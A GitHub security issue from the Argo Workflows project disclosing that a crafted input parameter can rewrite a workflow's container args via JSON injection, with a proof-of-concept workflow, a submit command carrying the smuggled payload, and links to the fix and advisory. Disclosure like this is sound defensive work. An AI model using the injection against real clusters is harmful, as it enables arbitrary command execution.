workflow re-write vulnerability using input parameter #6441

Closed alexec opened this issue on Jul 28, 2021 · 1 comment · Fixed by #6285

Labels	enhancement security
Milestone	v3.1

alexec commented on Jul 28, 2021 Collaborator

Summary

It's possible to rewrite parts of a workflow on-cluster using only an input parameter. Operators who allows users to run workflows specifying input parameters are vulnerable to this.

Details

From @mac9416 :

It's possible to rewrite parts of a workflow on-cluster using only an input parameter. This relies on taking advantage of the fact that the output of expression templates is evaluated a a literal part of the JSON-stringified template.

The following workflow accepts a string param, performs a trivial transformation (in this case, just printing it), and then passes the output as an env var to be printed.

The poisoned param value is able to overwrite "args" because 1) the golang JSON marshaler allows duplicate keys and, 2) the stringified template keys seem to be alphabetically-ordered, so the poisoned "env" value can override the original "args" field.

This is just a quick proof-of-concept. The motivated attacker could probably find a lot of different and nefarious ways to mutate a workflow.

I believe this PR would close the vulnerability: #6285

```
# argo submit rewrite-args.yaml -p 'a="}], "args": ["echo nope"], "env": [{"name": "MESSAGE", "value": "unused'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: rewrite-args
spec:
  entrypoint: main
  arguments:
    parameters:
      - name: a
  templates:
    - name: main
      steps:
        - - name: concat
            template: concat
        - - name: print
            template: print
            arguments:
              parameters:
                - name: message
                  value: "{{steps.concat.outputs.result}}"
    - name: concat
      script:
        image: debian:9.4
        command: [bash]
        env:
          - name: A
            value: "{{workflow.parameters.a}}"
        source: |
          echo "$A"
    - name: print
      inputs:
        parameters:
          - name: message
      container:
        image: debian:9.4
        command: [bash, -c]
        args:
          - echo "$MESSAGE"
        env:
          - name: MESSAGE
            value: "{{=inputs.parameters['message']}}"
```

Note: there seems to be some non-determinism involved. The expected behavior is for the "print" step to output "this happens instead". If instead you get an error, re-submit a few times.

Message from the maintainers:

Impacted by this bug? Give it a 👍 . We prioritise the issues with the most 👍 .

alexec added enhancement security labels on Jul 28, 2021

alexec mentioned this issue on Jul 28, 2021

feat!: Rewrite templating. #6442

Closed

alexec linked a pull request on Aug 2, 2021 that will close this issue

feat!: Rewrite templating. #6442 Closed

alexec added this to the **v3.1** milestone on Aug 4, 2021

alexec commented on Aug 4, 2021 Collaborator Author

GHSA-h563-xh25-x54q

alexec linked a pull request on Aug 9, 2021 that will close this issue

fix(controller): JSON-unmarshal marshaled expression template before evaluating #6285 Merged

alexec closed this as completed on Aug 9, 2021

Assignees

No one assigned

Labels

enhancement security

Projects

None yet

Milestone

v3.1

Development

Successfully merging a pull request may close this issue.

fix(controller): JSON-unmarshal marshaled expression template before evaluating
crenshaw-dev/argo

feat!: Rewrite templating.
alexec/argo-workflows

1 participant